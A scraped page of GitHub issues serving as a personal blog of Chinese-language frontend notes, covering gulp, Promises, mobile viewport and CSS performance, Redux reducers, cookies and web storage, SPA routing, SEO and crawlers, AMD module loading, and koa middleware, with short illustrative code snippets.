Code Monkey home page Code Monkey logo

cqupt-yifanwu.github.io's People

Contributors

cqupt-yifanwu avatar

Stargazers

 avatar  avatar

Watchers

 avatar  avatar

cqupt-yifanwu.github.io's Issues

工具--gulp

关于Gulp

他是基于nodejs的自动任务运行器,能够自动化的完成javascript/coffee/sass/less/html/imgage/css等文件的测试、检测、合并、压缩、格式化、浏览器自动刷新、部署文件的生成、并且监听改动后重复指定的这些步骤。在实现上,gulp借鉴了Unxi操作系统的管道(pipe)**,前一级的输出,直接编程后一级的输入,使得在操作上十分简单。

Gulp API

gulp只介绍了四个API:task、dest、src、watch,除此之外,gulp还提供了一个run方法。

  • src:该方法是指定需要处理的源文件路径,返回当前文件流给可用的插件。gulp借鉴了Unix操作系统的管道(pipe)**,前一级的输出直接变成后一级的输入。
  • dest:能被上面的方法pipe进来,并且会写文件。并且重新输出(emits)所有的数据,因为你可以将它pipe多个文件夹。
  • task:该方法用于定义一个gulp任务,是比较常用的一个方法,我们后面会结合插件的使用提到。
  • watch:监视文件,并且可以在文件发生改动的时候做一些事情。它总会返回一个EventEmitter来发射(emit)change事件

常见插件

  • gulp-uglify : 压缩javascript文件,减小文件大小。
    var gulp = require('gulp'),
    uglify = require("gulp-uglify");
    gulp.task('minify-js', function () {
        gulp.src('js/*.js') // 要压缩的js文件
        .pipe(uglify())
        .pipe(gulp.dest('dist/js')); //压缩后的路径
    });
    
  • gulp-rename :用来重命名文件刘中的文件。用gulp.dest()方法写入文件时,文件名使用的是文件流中的文件名,如果想要改变文件名,那可以在之前用gulp-rename插件改变文件流中的文件名。
    gulp.task('rename', function () {
        gulp.src('js/jquery.js')
        .pipe(uglify())  //压缩
        //会将jquery.js重命名为jquery.min.js
        .pipe(rename('jquery.min.js')) 
        .pipe(gulp.dest('js'));
    });
    
  • gulp-minify-css
  • gulp-htmlmin
  • gulp-contact

使用gulp实例 -- 雪碧图

// ps : 现在已经sprite-css已经没有在更新了,现在焦sprity,也新增了一些功能,下面这段代码只是作为展示实例
gulp.task('sprite-css', function(){
  var DEST_NAME = args[1];
  return  gulp.src(`${WATCH_SRC}/**/*.png`)
              .pipe(spritesmith({
                  imgName: DEST_NAME + '.png',
                  cssName: DEST_NAME + '.css',
                  imgPath: '../images/' + DEST_NAME + '.png'
              }))
              .pipe(gulpif('*.png', gulp.dest('images/')))
              .pipe(gulpif('*.css', gulp.dest('css/')));
});

我不知道的promise

  • promise具有立即执行性,这个立即执行指的是传入promise的函数会立即执行,比如:
 var p = new Promise(function(resolve, reject){
  console.log("create a promise");
  resolve("success");
});

console.log("after new Promise");

p.then(function(value){
  console.log(value);
});

输出的结果是
"create a promise"
"after new Promise"
"success"

  • promise在resolve之后 再抛出错误并不会被捕获,等于没有抛出,个人理解是状态改变之后就不会再次改变。

  • 错误具有冒泡的特性,会一直向后传递,直到被捕获为止,但是不会冒泡到全局。跟传统的try catch 语句不同的是,如果没有使用catch 语句指定错误处理的回调函数,promise 对象抛出的错误不会传递到外层代码

  • Catch方法返回的还是一个promise 对象,因此后面还可以接着调用then方法,如果没有报错则跳过该catch 方法,需要注意的是,如果在catch 语句以后再抛出错误则无法捕获。

  • done 方法总是出于回调链的微端,保证抛出任何可能出现的错误(向全局)

  • 值穿透:如果在then方法或是catch方法中传入的不是函数则会穿透,像是没有传入。

  • 实现并行,不好的做法是使用forEach遍历执行promise,可以使用Promise.all

    getAsyncArr().then(promiseArr => {
        return promise.all(promiseArr);
    })
    .then(res => console.log(res))
    
  • 实现串行执行,那我们可以利用reduce来处理串行执行

    var pA = [
    function() {return new Promise(resolve => resolve(1))},
    function(data) {return new Promise (resolve(1 + data))}
    ]
    pA.reduce((prev, next) => prev.then(next).then(res=>res), Promise.resolve()).then(res => console.log(res))
    

工作中遇到的一些问题(持续更新)

  1. 在Safari下transform的问题

在项目中有一个翻页的动画使用transform,在Safari下出现问题,定位问题发现transform3D在Safari里跑的时候会忽略z-index,解决方案:给父级添加overflow:hidden;

  1. 使用inline-block给元素实现排列定位时遇到的问题

使用inline-block实现定位,当你的定位元素附近或者定位了其他文字元素时inline-block会错位,原因是它会尝试着去跟文字元素的baseline对齐。使用inline-block实现这样的定位其实还会存在其他的很多问题,比如他们之间会存在空隙(需要将font-size设置成0)而且在不同浏览器下的效果也会不一样,建议还是用浮动实现这样的布局。
3.往数组中添加一个数据

 Array.prototype.push.apply(A, B); // apply接受一个数组作为第二个参数,然后分别操作,借用这个方法来插入数组减少代码量
  1. 给非同源域名发送get请求
 new Image().src = 'url'+data;   // 前端埋点数据发送给某服务,也可以用该方式统计访问量等

关于移动端的一些tip

移动端的一些tip

开发相关

关于viewport

<meta name="viewport" content="name=value,name=value">
//
指令
每对键值对都是一个指令,(ppk 大神的叫法)以下总计共有6对:
width
    设置layout viewport的宽度(css px)
initial-scale 
    设置页面的初始缩放比例同时可以设置layout viewport的宽度
minimum-scale
    设置最小缩放比例(指用户能够缩小到多小)
maximum-scale
    设置最大缩放比例(指用户能够放大到多大)
height
    设置layout viewport的高度,但暂时不怎么被支持
user-scalable
    设置是否允许用户放大缩小。

当我们的网页不使用viewport的时候网页在移动端显示的时候基本上看不清楚字体,为什么呢?因为我们将960px(当我们不做设置的时候viewport会自动的把我们的html给规定成980px)的内容压缩到320dpx(非css单位,在移动端中1px带至一个最小显示单位,一屏就是320px)。

解决方案

通过上述的例子我们知道基本上 viewport 的默认宽度是980px,且浏览器会将者 viewport 大小的 html 文档塞进有限的设备宽度内(浏览器会动态计算文档的布局及内容),所以我们看到的东西都很小。
那么我们想要清除的看清文档内的内容怎么办 ,没错,缩小 viewport 的大小,什么原理?
当我们缩小 viewport 的宽度的时候文档的宽度也对应的被缩小,即一样的设备宽度,我显示的东西少了(这时候浏览器重新计算文档布局及内容)可以看到的结果是字体被放大了,内容都被放大了!

详细解释
  • width
    可以用width来设置viewport的宽度,以替代那些不合适的默认宽度。我们可以给其设定一个固定大小,但设定成device-width更加明智一些,这样我们可以兼容不同大小的屏幕。采用了之后就是我们上面所说的效果,虽然是显示的东西变少了但是我的字体变大了!
  • initial-scale
    在移动设备上,用户有时会缩放,当页面缩放时,viweport的像素尺寸也会响应的改变,单css尺寸不会变。

比如,在一个400px宽的Viewport中有一个元素,设定width: 100px;,这时该元素就横跨了1/4的屏幕。如果用户把页面放大到两倍大小,这时Viewport宽度变成了200px,但元素仍然宽100个CSS像素。这时这个元素就占了半个屏幕了。

滚动方式

页面的滚动位置分为两种,一种是滚动body,另一种固定body的高度为100%,在main中滚动。

  • 滚动body:页面的地址会随着body的滚动隐藏起来,并且在android设备中,滚动body会更加的流畅。(把body设置为overflow就行了)这种情况比较适合长列表页面,整个页面除了herder和footer之外都需要滚动,但很多时候我们只希望页面的某个元素滚动,这个时候就采取第二种布局方式。

  • body高度设置为100%:这种方法有许多种实现方式

    • fixed定位 -- 头部尾部都设置为fixed定位
    • absolute定位
    • flex定位

    这里面也存在一些需要注意的地方,在移动端,如果fixed定位结点后面紧接着跟着兴地结点是可滚动的(也就是设置了overflow为true),那么fixed结点会被其后的兄弟结点遮住

fixed 与 input

在移动端开发中,在有input元素的标签页中使用fixed定位时会出现一些问题。 在ios上,当点击input标签获取焦点唤起软键盘的时候fixed定位会暂时失效,或者理解为变为了absolute定位,在含有滚动的页面会和其他结点一起滚动。所以在含有input元素的页面中使用absolute更好。

compositionstart和compositionend事件

在开发中我们经常要对表单元素进行输入限制,比如特殊的字符(也有xss的防范功能),我们会监听input事件。但是,在ios中input事件会截断非直接输入,比如:输入[焦贵彬]中间过程中会输入拼音,每次输入一个字母都会触发input事件,然而在没有点击选定按钮之前都会截断,也就是会触发很多次。这时候就需要我们说的两个事件。

compositionstart 事件在用户开始进行非直接输入的时候触发,而在非直接输入结束,也即用户点选候选词或者点击「选定」按钮之后,会触发 compositionend 事件。

关于性能

使用css3动画,开启硬件加速(存在需要注意的地方)

css3动画会新建一个图层,另外部分css3动画会调用GPU,得到性能上的提升.

触发
  • 3d 透视或视图变换(perspective transform)css属性
  • 使用加速视频解码的元素
  • 拥有3d(webGL)上下文或2d上下文的元素(carvers)
  • 混合插件(如flash)
  • 对自己的opacity做css动画或使用一个动画webkit变换元素
  • 拥有加速 CSS 过滤器的元素
  • 元素有一个包含复合层的后代节点(换句话说,就是一个元素拥有一个子元素,该子元素在自己的层里)
  • 元素有一个 ** z-index ** 较低且包含一个复合层的兄弟元素(换句话说就是该元素在复合层上面渲染)

上面有提到需要注意一些地方,就是他会将后面的一些不需要新建图层的元素新建图层,使性能不仅没有提升反而出现了一些隐患!

如何来看到css3动画新建的图层

在chrome 中选择open drawer(版本不同会不一样,有些版本下直接在控制台的设置中 more tools --> rednering)选择rendering,然后选择打开layer boerders ,现在在我们的浏览器上就可以看到一些黄色的框框,这个就是我们所谓的复合层,表示被放到了一个新的图层中渲染。

隐患

注意触发新建图层的最后一条,它的意思是如果有一个元素,它的兄弟元素复合层中渲染,而这个兄弟元素的z-index较小,那么这个元素(不管是否应用了硬件式加速)也会被放到复合层中,那么浏览器很有可能给复合层之后的所有相对或绝对定位的元素都创建一个复合层来渲染,于是就有了这样的情形-- 页面上很多元素都启用了GPU加速,反而导致了页面非常的卡顿

解决方案

  • 在启用css3动画的元素上增加position:relative和z-index:1,这种做法的原理是认为提升动画元素的z-index,让浏览器知道这个元素的层序,就不会很**的把其他z-index比他高的元素耶弄到复合层中了
  • 上面说了一些需要注意的地方,但是总体来说我们还是会采用一些css3的动画去调用GPU,比如translate-Z:0;可是此时我们并不是要旋转,这是一种欺骗浏览器的行为。此时我们可以关注一下will-change
    /* 关键字值 */
    will-change: auto;
    will-change: scroll-position;  // 告知浏览器会有滚动
    will-change: contents;  // 告知浏览器内容或动画变化了
    will-change: transform;        /* <custom-ident>示例 */
    will-change: opacity;          /* <custom-ident>示例 */
    will-change: left, top;        /* 两个<animateable-feature>示例 */
    
    /* 全局值 */
    will-change: inherit;
    will-change: initial;
    will-change: unset;
    

适当的使用touch事件代替click事件

  • touch事件触发的流程:touchstart -> touchmove -> touchend -> click
  • 触发时机:click在dom上手指触摸开始,且手指未曾在屏幕上移动(某些浏览器允许移动一个非常小的值)且在这个在这个dom上手指离开屏幕,且触摸和离开屏幕之间的间隔时间较短才能触发。

减少媒体查询

如果使用的是rem的单位(相当于根元素的字体大小来缩放)因为这样有两个明显的缺点 1.适配屏幕的尺寸不是连续的 2. 在自己的css文件中添加打断的这样查询代码。增加了css文件的体积。

  • 参考淘宝的移动端的页面适配规则,使用js获取客户端的宽度,根据设计稿原型动态计算计算font-size的值

other

  • 避免使用css渐变阴影效果
  • 不滥用Web字体
    Web字体需要下载,解析,重绘当前页面,尽量减少使用。

参考

拆分Recducer

为什么要拆分

Reducer负责接收旧的State然后根据Action类型(利用switch case)来选择如何处理最后生成一个新的State返回。这里,Store接收到这个新的State之后会利用Store.subsricbe设置的监听函数来进行View层的更新。也就是说我们所有处理State的函数和逻辑都会放进Reducer里面,Reducer函数必定会非常的庞大。所以,这里我们要考虑对Reducer进行一个拆分。

如何拆分

这里我们使用阮一峰老师的一个例子:

const chatRducer = (state = defaultstate, action ()) => {
    const {type, payload} = action; // 利用结构赋值
    switch (type) {
        case ADD_CHAT:
          return Object.assign({}, state, {
            chatLog: state.chatLog.concat(payload)
          });
        case CHANGE_STATUS:
          return Object.assign({}, state, {
            statusMessage: payload
          });
        case CHANGE_USERNAME:
          return Object.assign({}, state, {
            userName: payload
          });
        default: return state;
    }
} 

在上面的代码中三段处理逻辑的关系不大,但是我们都写在了reducer函数里,我们就可以将reducer函数进行拆分。不同的函数负责处理不同的属性,然后再将他们合并成一个大的Reducer即可(其实拆分Reducer为的是逻辑上更加清晰,当编译了之后还是同样的效果)。

const chatReducer = (state = defaultState, action = {}) => {
  return {
    chatLog: chatLog(state.chatLog, action),
    statusMessage: statusMessage(state.statusMessage, action),
    userName: userName(state.userName, action)
  }
};

Redux提供了一个combineReducer方法,用于Reducer的拆分,只要定义各个子函数即可。

const chatReducer = combineReducers({
  chatLog,
  statusMessage,
  userName
})

git 操作

  • git rebase 分支名/master 将本地仓库分支的内容合并,如果加上pull是将远程仓库的进行合并,(为什么pull 后面加rebase,会将之前的commit生成一个新的commit 让代码提交记录更加整洁)
  • git reset --hard 与 git reset --soft,hard 是放弃本地的改动,soft会保留本地的改动

HTTP - Cookie

用户识别的技术

当你访问一个站点时,这个服务器如何来判断这个用户是谁呢?我们可能会第一个想到使用cookie,在写cookie之前,我们先来看看其他几种识别技巧。

  • 承载用户信息的HTTP首部。
    可以从From、User-Agent、Referer、Auehorization等首部来将用户的信息在请求的同时发送给服务器作为服务器识别用户的一种方法。
  • 客户端IP地址跟踪,通过IP地址进行识别。
    将客户端的IP地址作为一种表示,web服务器可以找到承载HTTP请求的TCP链接另外一端的IP地址。但是它存在比较多的缺陷(限制),比如多用户共享IP地址、防火墙隐藏IP地址、网络服务提供商动态分配IP地址等。
  • 用户登陆,用认证方式来识别用户。
    服务器可以要求用户通过用登陆认证来显示的查询用户是谁,可以用www-Authenticate首部和Authorization首部向web站点传送用户相关的信息,但是在当用户需要在多个站点或者跳转到另一个站点的时候需要重新验证,这会大大降低用户的体验。
  • 胖URL,在URL中嵌入识别信息。
    这种方式会为每个用户生成特定版本的URL来追踪用户的身份,改动后包含状态信息的URL称之为胖URL,但是它也存在相当大的问题,比如无法共享URL、破坏缓存(为每个用户生成特有的版本意味着不再有可供公共访问的URL需要缓存了)、非持久的(当用户退出登陆时所有的信息都会丢失)。

关于cookie

cookie是识别当前用户,实现持久会话的比较好的方式。Cookie 是在 HTTP协议下,服务器或脚本可以维护客户工作站上信息的一种方式。Cookie 是由 Web服务器保存在用户浏览器(客户端)上的小文本文件,它可以包含有关用户的信息。无论何时用户链接到服务器,Web 站点都可以访问 Cookie 信息。目前有些 Cookie 是临时的(会话cookie),有些则是持续的(持久cookie)。临时的 Cookie只在浏览器上保存一段规定的时间,一旦超过规定的时间,该 Cookie 就会被系统清除。它们之间唯一的区别就是它们的过期时间(利用Expires或Max-Age参数来说明过期时间)。

cookie的工作流程

cookie就像是服务器给用户的一个标记,当用户访问一个web站点的时候,这个web站点就可以读取此服务器给用户的所有标记。用户首次访问web站点时是空白的,此时服务器会给此用户一个cookie(以便于自身以后识别此用户),cookie中包含了一个由键值对(名字=值)这样的信息构成的列表,并且通过Set-Cookie或者Set-Cookie2 HTTP响应首部将其贴到用户身上,同时会向首部添加一个Domain属性来控制哪些站点可以看到这个cookie。浏览器会记住从服务器返回的cookie内容,并将它储存在浏览器的数据库中。当用户再次访问这个站点时,浏览器会挑中响应服务器的缓存发送出去。(不同的站点使用不同的cookie,浏览器只会将对应站点的cookie发送出去)

cookie的成分与版本

cookie分为0和1两个版本,0版本是网景公司定义的,它定义了Set-Cookie响应首部和cookie请求首部以及控制cookie的字段。它的Set-Cookie首部有如下主要字段。

  • NAME = VALUE ,强制的,这个列表会发送给服务器。
  • Expires,可选的,这个属性指定一个日期来定义cookie的实际生存日期。
  • Domain,可选的。浏览器只向指定域中的服务器发送此cookie。
    版本一引入了Set-Cookie2和Cookie2首部,但它也能与版本0系统互相操作,他做了如下的主要改动。
  • 为每个cookie关联上解释文本
  • 允许在浏览器退出时不考虑时间强制销毁
  • 用相对秒数来表示cookie的声明期而非绝对时间
  • 通过端口号,而不仅仅是域和路径来控制

cookie与缓存

这一部分待扩充。

  • 如果无法缓存文档要将其标识出来
  • 缓存Set-Cookie首部时要小心
  • 小心处理带有cookie首部的请求

cookie in javascript

javascript是运行在客户端的脚本,因此一般是不能设置session因为session是在服务器端运行的,而cookie是在客户端的,我们来看看在javascript中对cookie的操作。

  • 设置cookie
    document.cookie="name"+value;
  • 读取cookie
    document.cookie.split(";");
    会得到一个数组。
  • 设置时间
    通过这是expires属性来设置这个cookie的有效期
  • 利用jquery库来操作cookie
    $.cookie('the_cookie', 'the_value', { expires: 7, path: '/' }); $.cookie('the_cookie');

session、localstorage和sessionstorage与cookie的区别

  • session
    cookie和session都是用来跟踪浏览器用户身份的会话方式,但是他们有很大的区别,cookie保存在客户端而session保存运行在服务端,当web服务器用的是session那么所有的数据都保存在服务器上,客户端每次请求的时候会发送当前会话的sessionid(是服务器和客户端链接时候随机分配的),服务器根据sessionid判断响应的用户数据标治,所以说session的生命周期在关闭浏览器之前存在。不同的是cookie在客户端存在只要不关闭浏览器cookie一直有效,如果设置了有效时间,cookie会保存在客户端的硬盘上,下次再访问该网站的时候,浏览器先检查有没有cookie,如果有的话,就读取该cookie,然后发送给服务器。安全性方面cookie不如session,别人可以分析放在本地的cookie并进行欺骗,此时服务器可能还认为cookie是合法的。
  • localstorage
    localStorage 是 HTML5 标准中新加入的技术,除非被清除,否则永久保存,仅在客户端(即浏览器)中保存,不参与和服务器的通信,源生接口可以接受,亦可再次封装来对Object和Array有更好的支持, localStorage 接替了 Cookie 管理购物车的工作,同时也能胜任其他一些工作。比如HTML5游戏通常会产生一些本地数据,localStorage 也是非常适用的。
  • sessionstorage
    sessionStorage 与 localStorage 的接口类似,但保存数据的生命周期与 localStorage 不同。做过后端开发的同学应该知道 Session 这个词的意思,直译过来是“会话”。而 sessionStorage 是一个前端的概念,它只是可以将一部分数据在当前会话中保存下来,刷新页面数据依旧存在。但当页面关闭后,sessionStorage 中的数据就会被清空。仅在客户端(即浏览器)中保存,不参与和服务器的通信。如果遇到一些内容特别多的表单,为了优化用户体验,我们可能要把表单页面拆分成多个子页面,然后按步骤引导用户填写。这时候 sessionStorage 的作用就发挥出来了。**注意:localstorage和sessionstorage与cookie都存在与客户端,他们都有可能存在XSS(跨站脚本攻击)的风险。

单页应用SPA的路由

关于单页应用

单页Web应用(single page web application,SPA),就是只有一张Web页面的应用,是加载单个HTML 页面并在用户与应用程序交互时动态更新该页面的Web应用程序。简单来说就是用户只需要加载一次页面就可以不再请求,当点击其他子页面时只会有相应的URL改变而不会重新加载。

单页应用的实现

如果你的项目涉及到单页面的话,路由是必不可少的。从上面的介绍中可以知道单页应用的实现依赖与路由,在这里我们可以将上面路由的过程分为两部分:

  1. 更新URL页面不刷新
    ps: 之前面试被问到过这个问题,现在才恍然大悟面试官大大想要问的是这个点。 ==。
  2. 监听URL的变化,执行页面替换逻辑

实现改变URL页面不刷新

按照常规的逻辑我们切换URL好像就会跳转网页,但是转念一项锚链接的URL不是也改变了吗? 这里,存在两种满足需求的方式。

  • 利用URL中的hash方式
    了解http协议就会知道,url的组成部分有很多,譬如协议、主机名、资源路径、查询字段等等,其中包含一个称之为片段的部分,以“#”为标识。打开控制台,输入 location.hash,你可以得到当前url的hash部分(如果当前url不存在hash则返回空字符串)。接下来,输入 location.hash = '123',会发现浏览器地址栏的url变了,末尾增加了’#123’字段,并且,页面没有被重新刷新。很显然,这很符合我们的要求。
  • 利用H5的history API
    html5引入了一个history对象,包含了一套访问浏览器历史的api,可以通过window.history访问到它。 HTML5 History API包括2个方法:history.pushState()和history.replaceState(),和1个事件:window.onpopstate。这两个方法都是对浏览器的历史栈进行操作,将传递的url和相关数据压栈,并将浏览器地址栏的url替换成传入的url且不刷新页面,而且他们的参数也相同,第一个参数用于存储该url对应的状态对象,该对象可在onpopstate事件中获取,也可在history对象中获取。第二个参数是标题,目前浏览器并未实现。第三个参数则是设定的url。一般设置为相对路径,如果设置为绝对路径时需要保证同源。。不同的是pushState 将指定的url直接压入历史记录栈顶,而 replaceState 是将当前历史记录栈顶替换成传入的数据。不过低版本对history AIP的兼容性不是很好。

监听URL的变化,执行页面替换逻辑

  1. 对于hash方式,我们通常采用监听hashchange事件,在事件回调中处理相应的页面视图展示等逻辑。在不支持hashchange事件的浏览器中,我们只能通过setInterval设置来模拟hashchange(不停的对比URL如果有改变)。
    var oldHash = location.hash; var oldURL = location.href; setInterval (function () { var newHash = location.hash; var newURL = location.herf; if (newHash !== oldHash && typeof window.onhashchange === 'function') { // 这里执行onhashchange的回调 } }, 100)
  2. 采用history API的形式时,需要触发onpopstate,popstate 事件只会在浏览器某些行为下触发, 比如点击后退按钮(或者在JavaScript中调用 history.back() 方法)。这也就是说,我们在使用history API改变浏览器的url时,仍需要额外的步骤去触发 popstate 事件,例如调用 history.back() 会 history.forward() 等方法

两种实现的比较

总的来说,基于Hash的路由,兼容性更好;基于History API的路由,更加直观和正式。但是,有一点很大的区别是,基于Hash的路由不需要对服务器做改动,基于History API的路由需要对服务器做一些改造。

网络爬虫与搜索引擎优化(SEO)

爬虫及爬行方式

爬虫有很多名字,比如web机器人、spider等,它是一种可以在无需人类干预的情况下自动进行一系列web事务处理的软件程序。web爬虫是一种机器人,它们会递归地对各种信息性的web站点进行遍历,获取第一个web页面,然后获取那个页面指向的所有的web页面,依次类推。因特网搜索引擎使用爬虫在web上游荡,并把他们碰到的文档全部拉回来。然后对这些文档进行处理,形成一个可搜索的数据库。简单来说,网络爬虫就是搜索引擎访问你的网站进而收录你的网站的一种内容采集工具。例如:百度的网络爬虫就叫做BaiduSpider。

  • 搜索引擎的爬虫工作原理
    网络 < --- > 爬虫 < --- > 网页内容库 < --- > 索引程序 < --- > 索引库 < --- > 搜索引擎 < --- > 用户

爬虫程序需要注意的地方

  • 链接提取以及相对链接的标准化

爬虫在web上移动的时候会不停的对HTML页面进行解析,它要对所解析的每个页面上的URL链接进行分析,并将这些链接添加到需要爬行的页面列表中去。关于具体的方案我们可以查阅这篇文章

  • 避免环路的出现
    web爬虫在web上爬行时,要特别小心不要陷入循环之中,至少有以下三个原因,环路对爬虫来说是有害的。
  1. 他们会使爬虫可能陷入可能会将其困住的循环之中。爬虫不停的兜圈子,把所有时间都耗费在不停获取相同的页面上。
  2. 爬虫不断获取相同的页面的同时,服务器段也在遭受着打击,它可能会被击垮,阻止所有真实用户访问这个站点。
  3. 爬虫本身变的毫无用处,返回数百份完全相同的页面的因特网搜索引擎就是这样的例子。
    同时,联系上一个问题,由于URL“别名”的存在,即使使用了正确的数据结构,有时候也很难分辨出以前是否访问过这个页面,如果两个URL看起来不一样,但实际指向的是同一资源,就称为互为“别名”。
  • 标记为不爬取
    可以在你的网站中创建一个纯文本文件robots.txt,在这个文件中声明该网站中不想被蜘蛛访问的部分,这样,该网站的部分或全部内容就可以不被搜索引擎访问和收录了,或者可以通过robots.txt指定搜 索引擎只收录指定的内容。搜索引擎爬行网站第一个访问的文件就是robot.txt。同样也可以把链接加上**rel="nofollow"**标记。

  • 避免环路与循环方案

  • 规范化URL

  • 广度优先的爬行
    以广度优先的方式去访问就可以将环路的影响最小化。

  • 节流
    限制一段时间内爬虫可以从一个web站点获取的页面数量,也可以通过节流来限制重复页面总数和对服务器访问的总数。

  • 限制URL的大小
    如果环路使URL长度增加,长度限制就会最终终止这个环路

  • URL黑名单

  • 人工监视

搜索引擎优化

搜索引擎优化也叫SEO,了解了web爬虫的工作方式于原理之后对SEO会有更好的认识,对于前端开发,需要注意的SEO有以下内容:

  • 突出重要内容
    合理的title、description和keywords
    虽然现在搜索对这三项的权重慢慢减小,但还是希望能够合理的写好他们,只写有用的东西,不要在这里写小说,要表达重点。
    title:只强调重点即可,重要关键词出现不要超过2次,而且要靠前,每个页面title要有所不同description:把网页内容高度概括到这里,长度要合理,不可过分堆砌关键词,每个页面description要有所不同,keywords:列举出几个重要关键词即可,也不可过分堆砌。
  • 语义化书写HTML代码,符合W3C标准
    对于搜索引擎来说,最直接面对的就是网页HTML代码,如果代码写的语义化,搜索引擎就会很容易的读懂该网页要表达的意思。
  • 利用布局,把重要内容HTML代码放在最前
    搜索引擎抓取HTML内容是从上到下,利用这一特点,可以让主要代码优先读取,让爬虫最先抓取
  • 重要内容不要用JS输出
    爬虫不会读取JS里的内容,所以重要内容必须放在HTML里
  • 尽少使用iframe框架
    搜索引擎不会抓取到iframe里的内容,重要内容不要放在框架中。
  • 为图片加上alt属性
    alt属性的作用是当图片无法显示时以文字作为代替显示出来,对于SEO来说,它可以令搜索引擎有机会索引你网站的图片。
  • 需要强调的地方可以加上title属性
    在进行SEO优化时,适合将alt属性设置为图片本来的含义,而将 ttitle属性为设置该属性的元素提供建议性的信息。
  • 为图片加上长宽
    图片大的会排在前面一点。
  • 保留文字效果
    如果需要兼顾用户体验和SEO效果,在必须用图片的地方,例如个性字体的标题,我们可以利用样式控制,让文本文字不会出现在浏览器上,但在网页代码中是有该标题的。
    注意:不可使用display:none;的方法让文字隐藏,因为搜索引擎会过滤掉display:none;里边的内容,就不会被蜘蛛检索了。
  • 提高网站速度
    网站速度是搜索引擎排序的一个重要指标
  • 对于指向外部网站的链接要使用rel="nofollow"属性告诉爬虫不要去爬其他的页面

模块化方案esl以及amd的依赖方式

来自AMD设计**的总结和思考

  • 在之前了解es6模块化的时候有遇到过依赖循环的问题,在es6中对于模块是引用性的,而当时于es6模块化做对比的commonjs(CMD规范)对于模块是值类型(会将其缓存下来),所以面对循环依赖的时候,利用es6的模块化机制并不会报错。

AMD中依赖的种类

  • 装载时依赖,在模块化初始阶段久需要将依赖加载完成
    // 装载时依赖
    define('a',function (require) {
        require('b').init();
    })
    
    这种方式加载模块的时候需要b模块初始化完成才能加载成功,如果b模块也已这种方式依赖于a(或者以装载时依赖的方式构成了一个循环)那么这个循环就是死的(无法成功加载)
  • 运行时依赖,在模块初始化的时候不需要,但是在后面运行的时候需要用到,这种依赖就是运行时依赖
    // 运行时依赖
    define('b',function(require)) {
        return {
            foo : require('b').foo();
        }
    }
    
    对于循环依赖,只要其中有一项采用对是运行时依赖则这个循环依赖就是‘合法’的。(这也是requirejs当中提倡的对于循环依赖的解决办法)

依赖提前声明时如何判定依赖方式

我们知道在define中我们可以将以来直接声明到第二个参数里(数组),也可以利用require直接在需要时声明(要将require作为默认参数传给factory),那么当依赖前置的时候我们如何判断依赖方式?在我们在第二个参数声明了依赖之后,通常会将需要的用道(初始化)的模块名当作参数传入factory,当传入的参数个数(length)于第二个参数中数组的length不相等时,我们就会认为它存在运行时依赖。

The dependencies argument is optional. If omitted, it should default to [“require”, “exports”, “module”]. However, if the factory function’s arity (length property) is less than 3, then the loader may choose to only call the factory with the number of arguments corresponding to the function’s arity or length.

  • 存在的疑问:什么是「用时定义」,暂时的理解:像commonjs那样,使用模块时进行require然后初始化,但是好像这个想法和异步加载是相悖的,后续再来学习。

为什么使用esl

esl是AMD规范下的一个应用,它是一个浏览器端、符合AMD的标准加载器,适合用于现代Web浏览器端应用的入口与模块管理。

相比于Require:

  • 体积更小
  • 性能更高
  • 更健壮
  • 不支持在非浏览器端使用
  • 依赖模块「用时定义」(lazy define)

关于esl加载(初始化)模块的方式

前面有提到我们声明依赖的时候有两种方式:

  • 在dependencies中声明,然后顺序传入factory中(这里有特别情况)
  • 不要dependencies,直接将require作为参数传入factory中,当需要某个模块时直接require进来。

但是这两种方式中模块初始化的时机不同,需要注意:

  • 当我们使用第一种方式加载时,esl会像requirejs一样去工作,依赖的模块会提前初始化,但是这里存在一种特殊情况,当我们不完全将dependencies数组中的项传入factory时,esl会这样做

    当factory的形式参数数目少于3时,loader可以根据参数数量的前几个dependencies模块,去call factory。也就是说,dependencies数组里,后面一些模块的初始化时机,是可以自由把握的;在call factory的时候,dependencies数组中位于形式参数length后面index的模块,不一定要初始化完毕。

  • 当我们使用第二种方式时,esl会像seajs一样去工作,当我们require一个模块的时候它才会去进行初始化,需要注意的是,如果requirejs以这种方式去加载依赖,它仍然会和原来一样的方式去工作(提前初始化好)。
  • 个人感悟:通过了解和学习,个人感觉cmd规范像是amd的一个子集,而requirejs&seajs分别实现了amd规范的一部分,而esl是根据编写的方式决定了初始化方案(按照requirejs还是seajs)。

关于前后端分离我的理解

  • 前后端分离应该借助node,因为node可以拥有自己的服务(当然这不是使用node的原因,node本身拥有的高并发能力才是亮点),前后端各有自己的服务,前端服务处理前端的逻辑(相当于在后端之前有一套处理的东西,通过node的服务会有一些请求到我们的后端服务上),后端更加‘纯’的完成他们的工作(个人的理解更加专注于数据),这也是我们为啥要用前后端分离的原因之一,当然还有其他原因(比如并行开发,可以让模版代码更纯净不会掺杂业务代码)
  • 前端负责control 和 view , 后端负责model,前端负责control的原因是因为当我们缺少了model的时候我们只要有自己的mock可以正常的把服务跑起来。
  • 前端后端可以并行开发(当然你借助于mock网站来进行mock也是一样),前端有一套自己的mock数据,在开发环境下我们使用mock数据,这里我们要区分开发环境来决定我们什么时候来用前端的mock数据在我们的代码中可以借助process.env.NODE_ENV进行判断(production| development),通过
if(process.env.NODE_ENV === ‘production’) {
             fs..  // 去使用mock数据
}

来使用mock数据。那么 process.env.NODE_ENV 的值如何写入或者决定呢?// 通过NODE_ENV来设置环境变量,如果没有指定则默认为生产环境

var env = process.env.NODE_ENV || 'production';

当我们本地开发的时候可以通过脚本文件进行操作

export NODE_ENV=development

我们只需要启动服务的时候将它运行。

koa-中间件流程控制

koa中间件执行流程

koa中间件的的执行顺序是洋葱模型,外层逐步向内,执行到最中间再逐步向外扩展,实现这个顺序的模型需要依赖于generator函数,它可以暂停执行将控制权交出,等到执行next再得到执行权继续执行,我们需要做的就是将generator串联起来,将后面的generator函数跟在上一层函数的yield语句之后,可以看作后面的函数是next的参数,这样我们就形成了一个串联,它的执行顺序就是我们前面所提到的洋葱模型。

koa-compose

在koa中,实现上面所说的串联函数就是利用了compose,下面是compose的大概实现(在koa中叫koa-compose):

function compose (middlewares) {
    return function (next) {
        var i = middlewears.length;
        var next = function* () {}();
        while (i--) {
            next = middlewares[i].call(this, next);
        }
        return next;
    }
}

在koa的源码中有这样的代码:

var fn = this.experimntal
    ? compose_es7(this.middleware)
    : co.wrap(compose(this.middleware));

